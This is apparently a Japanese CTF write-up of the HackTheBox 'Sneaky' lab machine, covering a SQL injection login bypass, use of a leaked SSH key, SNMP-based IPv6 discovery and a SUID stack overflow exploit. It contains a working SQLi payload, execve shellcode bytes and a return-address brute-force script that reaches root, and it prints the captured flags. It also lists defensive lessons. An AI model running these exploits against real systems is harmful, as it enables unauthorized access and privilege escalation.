HackTheBox: Sneaky — 全実行コマンド・実行結果レポート
Nmap スキャン
80/tcp Apache、161/udp SNMP、22/tcp closed
→
80/tcp Apache、161/udp SNMP、22/tcp closed
/dev/ ログインSQLi
‘ or 1=1;–
→
‘ or 1=1;–
SSH秘密鍵 + ユーザー名漏洩
thrasivoulos
→
thrasivoulos
SNMP ipAddressPrefixTable
dead:beef::/64 + MAC→EUI-64
→
dead:beef::/64 + MAC→EUI-64
SSH(IPv6) user.txt ✓
→
chal SUID BOF
gdbでoffset=362特定
→
gdbでoffset=362特定
リターンアドレス総当り
0x1000刻みでなく粗いステップ全探索
→
0x1000刻みでなく粗いステップ全探索
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
TCP/UDPポートスキャン
BASH
nmap -Pn -sV -p 22,80,443 --max-retries 2 --host-timeout 30s 10.129.228.93 nmap -Pn -sV -sU -p T:80,443,22,U:161 --max-retries 2 --host-timeout 40s 10.129.228.93
RESULT
PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 443/tcp closed https 161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public) Service Info: Host: sneaky
🚨
重要発見: IPv4側のSSH(22)はclosed。しかしSNMPが
コミュニティ名
public で応答しホスト名も”sneaky”と自己申告している。
SSHはIPv6側でのみ待ち受けている可能性が高く、そのアドレスをSNMP経由で
探る必要がある。
PHASE 2
/dev/ ログインフォームSQLiバイパス & SSH鍵漏洩
ログインフォームの確認
BASH
curl -s http://10.129.228.93/dev/
RESULT
<h1>Member's Area Only - Login Now!</h1>
<form method="post" action="./login.php">
<input type="text" name="name">
<input type="password" name="pass">
<input type="submit" value="login">
</form>
SQLi (‘ or 1=1;–) でログインバイパス
BASH
curl -s -d "name=admin&pass=%27%20or%201%3D1%3B--" http://10.129.228.93/dev/login.php
RESULT
<h1>DevWebsite Login</h1>
<dl>name: admin</dl>
<dl>name: thrasivoulos</dl>
<center><a href="sshkeyforadministratordifficulttimes">My Key</a></center>
<center>Noone is ever gonna find this key :P</center>
✅
バイパス成功。 パスワード欄への
' or 1=1;--挿入だけで
全ユーザーのレコードが列挙され、admin以外のユーザー名
thrasivoulosと、SSH秘密鍵への直リンクが露出した。
SSH秘密鍵の取得
BASH
curl -s -o thrasivoulos_id_rsa http://10.129.228.93/dev/sshkeyforadministratordifficulttimes chmod 600 thrasivoulos_id_rsa
RESULT
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvQxBD5yRBGemrZI9F0O13j15wy9Ou8Z5Um2bC0lMdV9ckyU5...
PHASE 3
SNMP経由のIPv6アドレス復元 & user.txt
定石のOID(ipAddressTable)は実装されていない
NOTE
よくある手法として IP-MIB::ipAddressTable (OID 1.3.6.1.2.1.4.34) を numeric walkしIPv6アドレスを直接読み取る方法があるが、この機体の net-snmpビルドではこのテーブルが実装されておらず walk しても "No Such Object" が返るだけだった。
BASH
snmpwalk -v2c -c public -O n 10.129.228.93 1.3.6.1.2.1.4.34.1.1
RESULT
.1.3.6.1.2.1.4.34.1.1 = No Such Object available on this agent at this OID
ipAddressPrefixTable (OID 4.32) からプレフィックスを発見
BASH
snmpwalk -v2c -c public -O n -t 5 -r 2 10.129.228.93 1.3.6.1.2.1.4.32
RESULT
.1.3.6.1.2.1.4.32.1.6.2.2.16.222.173.190.239.0.0.0.0.0.0.0.0.0.0.0.0.64 = INTEGER: 1 .1.3.6.1.2.1.4.32.1.6.2.2.16.254.128.0.0.0.0.0.0.0.0.0.0.0.0.0.0.64 = INTEGER: 1 ← fe80::/64 (リンクローカル、除外) .1.3.6.1.2.1.4.32.1.6.1.2.16.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.128 = INTEGER: 1 ← ::1/128 (ループバック、除外)
ℹ️
インデックス構造は
ifIndex.addrType.addrLen.アドレス16バイト.prefixLength。
222.173.190.239 = 16進数で DE.AD.BE.EF = “dead beef” という
HTB定番のジョーク値で、残りは全て0埋め。つまりこのテーブルは
プレフィックスのみ(dead:beef::/64)を返し、ホスト部(下位64bit)は
含まれていない。ifIndex=2(ループバック以外の実インターフェース)、
prefixLength=64であることも判明。
MACアドレスからSLAAC EUI-64でホスト部を導出
BASH
snmpwalk -v2c -c public -O n 10.129.228.93 1.3.6.1.2.1.2.2.1.6.2
RESULT
.1.3.6.1.2.1.2.2.1.6.2 = Hex-STRING: A2 DE AD C1 6E CC
PYTHON (EUI-64計算)
mac = bytes.fromhex("a2deadc16ecc")
# 先頭3バイト + FF FE + 後半3バイト、先頭バイトのU/Lビット(0x02)を反転
b0 = mac[0] ^ 0x02
eui64 = bytes([b0, mac[1], mac[2], 0xff, 0xfe, mac[3], mac[4], mac[5]])
iid = ':'.join(eui64[i:i+2].hex() for i in range(0, 8, 2))
print(f"dead:beef::{iid}")
# → dead:beef::a0de:adff:fec1:6ecc
✅
IPv6アドレス復元成功:
dead:beef::a0de:adff:fec1:6ecc
SSH(IPv6)接続 & user.txt取得
BASH
ping6 -c 3 dead:beef::a0de:adff:fec1:6ecc # 疎通確認 ssh -6 -i thrasivoulos_id_rsa -o StrictHostKeyChecking=no \ -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa \ thrasivoulos@dead:beef::a0de:adff:fec1:6ecc "id; cat /home/*/user.txt"
RESULT
uid=1000(thrasivoulos) gid=1000(thrasivoulos) groups=1000(thrasivoulos),4(adm),24(cdrom),27(sudo),...
5f2e481e247917bd9c1b35df9b9d98c7
⚠️
-o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa
は必須。古いOpenSSHサーバーの鍵はデフォルトで拒否される新しいクライアント
(OpenSSH 8.8+)向けの対策。sudoグループに所属しているが
sudo -lはパスワードを要求されたため通常のsudoパスワード奪取経路は
今回は使わず、既知のSUIDバイナリの方を攻める。
user.txt — thrasivoulos
5f2e481e247917bd9c1b35df9b9d98c7
PHASE 4
SUID chal の解析 — gdbでオフセットを特定
SUIDバイナリの発見とASLR状態確認
BASH
ls -la /usr/local/bin/chal cat /proc/sys/kernel/randomize_va_space
RESULT
-rwsrwsr-x 1 root root 7301 May 4 2017 /usr/local/bin/chal 32bit ELF, setuid, setgid, dynamically linked randomize_va_space: 0 ← ASLR無効
gdb + サイクリックパターンで正確なEIPオフセットを特定
NOTE
argv[1] にそのまま渡すだけの単純な文字数当てずっぽうではなく、 一意なパターン(De Bruijn風の4文字ローテーション)を送りクラッシュ時の EIP値からオフセットを機械的に逆算する。
BASH
cat > gdb_cmds.txt << 'EOF' set args $(python2 gen_cyclic.py 400) run print/x $eip quit EOF gdb -q -x gdb_cmds.txt /usr/local/bin/chal
RESULT
Program received signal SIGSEGV, Segmentation fault.
0x61616d64 in ?? ()
$1 = 0x61616d64 # little-endian → "dmaa"
PYTHON (パターン内の位置を逆算)
pattern = cyclic(400) # 上と同じ生成方法
idx = pattern.find("dmaa")
print(idx) # → 362
✅
EIPオフセット = 362バイトと確定。ペイロード構造は
NOPスレッド(334バイト) + execve("/bin/sh")シェルコード(28バイト) +
リターンアドレス(4バイト) = 合計366バイト。
setarchによるASLR無効化はSUIDバイナリに効かない
NOTE
ASLR自体は既にシステム全体で無効(randomize_va_space=0)だが、 リターンアドレスを求めるためにgdb上で観測したスタックアドレスを そのまま実際の(gdbを使わない)実行に流用すると失敗した。念のため setarch -R (ASLR明示的無効化) も試したが、Linuxカーネルがsetuid/setgid バイナリへの personality(ADDR_NO_RANDOMIZE) 適用を拒否するため 効果がなく、gdb実行時と直接実行時とでスタックアドレスがずれる問題 (環境変数SSH_CONNECTION等の内容差によるものと推定)は解決しなかった。
PHASE 5
リターンアドレスの範囲総当り & root.txt
gdbのクラッシュ解析からおおよそのスタックアドレスを逆算
NOTE
gdbで 'A'*32 を使った単純上書きテストの esp 値 (crash時) から リターンアドレススロットの位置を逆算し、そこからNOPスレッド先頭の おおよそのアドレスを見積もった (0xbffff982 付近)。ただしこれは gdb実行時の環境に基づく推定値であり、実際の(gdbを介さない)SSH経由 実行では環境変数の違いにより数百バイト単位でずれることが分かった (この推定値をそのまま使うと確実にセグフォルトした)。
推定値を中心に範囲総当りするスクリプト
PYTHON (ターゲット上で実行)
import subprocess, struct, os
shellcode = bytes.fromhex(
"31c05068"
"2f2f7368" "682f62696e" "89e389c189c2b00bcd80"
"31c040cd80"
)
offset = 362
nop_len = offset - len(shellcode)
flag_file = "/tmp/.chal_root"
cmd = b"cat /root/root.txt > /tmp/.chal_root; chmod 644 /tmp/.chal_root\n"
center = 0xbffff982 # gdbから逆算したおおよその値
for delta in range(-0x8000, 0x8000, 150): # 粗いステップで確定的に全探索
if os.path.exists(flag_file):
break
ret = center + delta
payload = b"\x90" * nop_len + shellcode + struct.pack("<I", ret)
try:
p = subprocess.Popen(["/usr/local/bin/chal", payload],
stdin=subprocess.PIPE, stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL)
p.communicate(input=cmd, timeout=1)
except Exception:
try: p.kill()
except Exception: pass
ℹ️
NOPスレッドが334バイトあるため、リターンアドレスがNOP領域の
どこかに着地しさえすれば実行がスライドしてシェルコードに到達する。
150バイト刻みなら取りこぼしなく±0x8000(約32KB)の範囲を
確定的に全探索できる。root権限で spawn される
system("/bin/sh")
の対話出力をそのまま読み戻す手段が無いため、標準入力に
cat /root/root.txt > ...コマンドをパイプしてファイル化し、
別途読み出す。実行 & root.txt取得
BASH
ssh -6 -i thrasivoulos_id_rsa ... thrasivoulos@dead:beef::a0de:adff:fec1:6ecc \ "rm -f /tmp/.chal_root; python3 bf_ret.py; cat /tmp/.chal_root"
RESULT
tried: 225
10328dd499bfc2a58460c6856a8aadba
✅
成功! 有効なリターンアドレスは
0xbffffcc2 と判明
(gdbからの推定値と実際の差は約0x340バイト)。225回目の試行で
system("/bin/sh")がrootで実行され、パイプで渡しておいた
コマンドがファイルに書き出された。
root.txt — Administrator@sneaky
10328dd499bfc2a58460c6856a8aadba
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — thrasivoulos
5f2e481e247917bd9c1b35df9b9d98c7
root.txt — root@sneaky
10328dd499bfc2a58460c6856a8aadba
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SQLiログインバイパス | /dev/login.php | 認証バイパス+情報漏洩 | Critical | パスワード欄への' or 1=1;--で全ユーザー列挙、SSH秘密鍵リンクが直接露出 |
| SNMP publicコミュニティでの内部情報漏洩 | net-snmp (161/udp) | 隠しIPv6アドレスの復元 | Medium | ipAddressPrefixTableでプレフィックス+ifPhysAddressのMACからSLAAC EUI-64合成 |
| SUID chal スタックBOF (ret2shellcode) | /usr/local/bin/chal (root SUID) | 権限昇格 (root) | Critical | gdbでEIPオフセット(362)特定、ASLR無効環境でのリターンアドレス範囲総当りでNOPスレッド経由シェルコード実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap TCP/UDPスキャン | 80/tcp、161/udp(SNMP public)、22/tcp closed |
| 2 | SQLi | ログインフォームバイパス | ユーザー名thrasivoulos + SSH秘密鍵 |
| 3 | SNMP調査 | ipAddressPrefixTable + MAC→EUI-64 | user.txt取得(IPv6 SSH経由) |
| 4 | BOF解析 | gdb + サイクリックパターン | EIPオフセット=362確定 |
| 5 | 権限昇格 | リターンアドレス範囲総当り | root.txt取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ログインフォームがSQLインジェクションに脆弱(パラメータのサニタイズなし) | プリペアドステートメント(パラメータ化クエリ)を必ず使用する。エラーメッセージに内部情報(ユーザー名一覧等)を出力しない。 |
| 公開Webディレクトリに秘密鍵ファイルを平文で配置 | 秘密鍵をWebルート配下に置かない。最低限アクセス制御・認証を要求する。 |
| SNMPが認証情報なしの既定コミュニティ名"public"で内部ネットワーク情報(IPv6アドレス構成含む)を公開 | SNMPv3への移行、コミュニティ名の変更、アクセス元IPの制限(ACL)を行う。隠しIPv6アドレスによる"security through obscurity"に頼らない。 |
| SUIDバイナリに古典的なスタックバッファオーバーフローが存在し、ASLR・スタックカナリア・NX等の緩和策が無効化されている | 境界チェック付き関数の使用、コンパイル時の保護機構(スタックカナリア、ASLR、NX、RELRO Full)を全て有効化する。SUIDビットは真に必要な場合のみ付与する。 |

